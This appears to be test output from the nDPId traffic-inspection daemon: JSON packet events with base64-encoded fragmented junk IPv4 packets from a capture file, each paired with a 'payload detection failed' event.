+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 